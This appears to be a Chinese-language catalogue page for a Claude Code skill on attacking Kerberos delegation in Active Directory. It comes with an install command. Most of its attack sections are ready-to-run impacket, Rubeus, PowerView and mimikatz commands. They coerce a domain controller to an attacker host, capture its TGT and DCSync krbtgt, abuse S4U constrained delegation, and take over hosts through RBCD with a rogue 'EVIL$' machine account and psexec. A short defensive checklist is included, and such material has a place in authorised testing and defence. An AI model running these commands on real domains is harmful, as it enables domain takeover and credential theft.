关于 attacking-kerberos-delegation
面向经授权的 Active Directory 测试人员与防御审查者,解释 Kerberos 委派配置及其滥用风险。内容对比非约束、约束和基于资源的约束委派,并提供枚举与防御检查方法。
主要功能
- 01枚举三类 Kerberos 委派
- 02解释非约束委派的票据风险
- 03分析约束委派与 S4U 路径
- 04说明 RBCD 与计算机对象权限
- 05提供委派配置防御清单
适用场景
- 01检查 BloodHound 标记的委派关系
- 02验证计算机对象写权限带来的风险
- 03审查特权账户和机器账户配额
- 04规划委派滥用的检测审查
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ trilwu/ secskills --skill attacking-kerberos-delegation安装后在 Claude Code 中输入/attacking-kerberos-delegation确认已加载。
详细介绍
Kerberos 委派攻击
委派允许服务向其他服务冒充用户。每种委派形式都是受控地变成其他人的一种方式,而每种形式都存在一种可移除这种控制的错误配置。尤其是 RBCD,它会将一种常见、看似权限不高的权限——对计算机对象的写入权限——变成对该主机的完全控制,这也是委派攻击中最常见的一种。
仅限对你获准测试的域进行测试。
适用场景
- BloodHound 标记了
Unconstrained、Constrained或RBCD委派 - 你控制一个带有 SPN 的账户,或对计算机对象拥有
GenericWrite/GenericAll权限 - 你可以创建计算机账户(默认
MachineAccountQuota为 10) - 你控制一台配置了委派的主机
- 防御性审查委派配置
不适用场景
- 滥用证书服务 — 使用
abusing-adcs - Kerberoasting、DCSync、常规 AD — 使用
attacking-active-directory - Entra ID — 使用
attacking-entra-id - 检测 — 使用
engineering-detections;TGS/S4U 模式和计算机账户创建(4741)是相关遥测
枚举三种类型
# Constrained + unconstrained in one pass
findDelegation.py domain.local/user:pass -dc-ip 10.0.0.10 # impacket
# PowerView
Get-DomainComputer -Unconstrained | select name
Get-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto
Get-DomainUser -TrustedToAuth
# RBCD is a per-object attribute; BloodHound's edges are the practical way to find it
你面对的是哪种类型,决定了所有后续操作:
| 类型 | 标记 | 信任方向 |
|---|---|---|
| 无约束 | 账户上有 TRUSTED_FOR_DELEGATION | 主机可以冒充任何向其进行身份验证的人 |
| 约束 | 已填充 msDS-AllowedToDelegateTo | 主机可以冒充任何人,但只能冒充到列出的服务 |
| RBCD | 目标上有 msDS-AllowedToActOnBehalfOfOtherIdentity | 目标指定了谁可以冒充身份访问它 |
无约束委派
启用了无约束委派的主机会缓存任何向其进行身份验证的人的 TGT。先攻陷该主机,再诱使高价值账户(理想情况下是域控制器)进行身份验证,然后捕获其 TGT。
# On the compromised unconstrained host, monitor for incoming TGTs
Rubeus.exe monitor /interval:5 /nowrap
# Coerce a DC to authenticate to you
printerbug.py 'domain/user:[email protected]' attacker-host.domain.local
# or PetitPotam, or the MS-EFSR / MS-RPRN coercion of your choice
# Capture the DC's TGT, then DCSync with it
Rubeus.exe ptt /ticket:<base64 DC TGT>
mimikatz # lsadump::dcsync /user:krbtgt
打印机漏洞(MS-RPRN)和 PetitPotam(MS-EFSR)的存在,正是为了强制目标进行身份验证。诱使域控制器向启用了无约束委派的主机进行身份验证,是直接攻陷域的途径。
约束委派
启用了针对某项服务的约束委派的主机,可以向该服务冒充任何用户——包括域管理员,也包括通过 S4U2Self 后接 S4U2Proxy 将你自己冒充为域管理员。
# You control an account with msDS-AllowedToDelegateTo set to, say, cifs/dc01
getST.py -spn cifs/dc01.domain.local -impersonate administrator \
'domain.local/svc_account:password' -dc-ip 10.0.0.10
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]
备用服务技巧很重要。 S4U2Proxy 会为你请求的 SPN 返回票据,但服务类没有经过加密绑定——cifs/dc01 的票据可以改写为 host/dc01、ldap/dc01 或 http/dc01,因为目标服务只检查服务器名称。因此,即使委派仅限于 time/dc01 这类“无害”服务,仍可获得 ldap/dc01,进而执行 DCSync。不要因为列出的 SPN 看起来无害,就忽视约束委派。
基于资源的约束委派(RBCD)
这是最常见的委派攻击,因为其前提条件很普遍:对计算机对象的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性拥有写入权限。对目标计算机拥有 GenericWrite、GenericAll、WriteDacl 或 WriteProperty 权限就足够了。
# 1. Create a machine account (default quota allows 10 per user)
addcomputer.py -computer-name 'EVIL$' -computer-pass 'Password123' \
domain.local/user:pass -dc-ip 10.0.0.10
# 2. Write your new account into the target's RBCD attribute
rbcd.py -delegate-from 'EVIL$' -delegate-to 'TARGET$' -action write \
domain.local/user:pass -dc-ip 10.0.0.10
# 3. Impersonate any user to the target via S4U
getST.py -spn cifs/target.domain.local -impersonate administrator \
'domain.local/EVIL$:Password123' -dc-ip 10.0.0.10
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]
这就是为什么 BloodHound 中指向计算机对象的 GenericWrite 边并非低危发现。通过三条命令,就能完全控制这台计算机。报告对计算机对象的写入权限时,应按 RBCD 严重性报告。
如果 MachineAccountQuota 为 0,你就无法创建计算机账户——但任何你控制且带有 SPN 的现有账户都可以作为“来源”身份;如果你能在自己控制的用户账户上设置 SPN(通过对自己或其他用户拥有 GenericWrite),也可以用它来替代。
受保护的账户
无论委派路径如何,有些目标都无法被冒充:
- 受保护用户的成员无法被委派。
- 标记为 “账户敏感,无法委派”
(
NOT_DELEGATED)的账户会被排除。 - 如果你打算冒充的目标受到保护,请改选另一个未受保护的特权账户——几乎总能找到。
在投入精力前先检查:
Get-DomainUser -AllowDelegation -AdminCount | select name # delegatable admins
防御审查
- 哪些账户启用了不受约束的委派?其中哪些确实需要?(DC 需要;其他情况应当很少。)
- 特权账户是否位于受保护用户中,并标记为
NOT_DELEGATED? - 是否已将
MachineAccountQuota降至 0? - 谁对计算机对象拥有写入权限,尤其是服务器和 DC?
- 是否审计了对域控制器上服务类的委派?
- 是否监控 S4U2Self/S4U2Proxy 模式?
应当驳回的说辞
- “委派的只是无害服务。” 服务类可以被改写。
time/dc01会变成ldap/dc01。 - “这只是对计算机拥有 GenericWrite,严重性不高。” 这就是 RBCD,足以完全接管主机。
- “我们无法创建计算机账户,配额是 0。” 任何你控制的、带有 SPN 的账户都可以替代。
- “不受约束的委派是在成员服务器上启用的,不是在 DC 上。” 诱使 DC 向其进行身份验证即可。服务器的信任级别无关紧要。
- “冒充目标是域管理员,肯定受到保护。” 先检查。大多数管理员不在受保护用户中。
- “BloodHound 没有画出这条边。” 委派属性需要使用最新数据进行收集;旧数据会完全漏掉 RBCD。
ATT&CK 覆盖范围
根据 secskills-core/ttp-index.json 生成——编辑该文件,然后运行
python3 scripts/sync_attack.py --write。在报告中引用 ID 前,请根据
当前 ATT&CK 版本重新核实。
凭据访问(TA0006)
- T1558 窃取或伪造 Kerberos 票证 — 另请参阅
attacking-active-directory
与上述任一项相关的检测内容:engineering-detections。主动搜寻:hunting-threats。失陷后响应:responding-to-incidents。
参考资料
attacking-active-directory— DCSync 以及由此延伸的更广泛域攻击路径abusing-adcs— 另一个高收益提权类别;常与此结合engineering-detections— S4U 和计算机账户创建遥测reporting-security-findings— 写入原语发现的严重性- impacket(getST、rbcd、addcomputer、findDelegation)、Rubeus、PowerView、BloodHound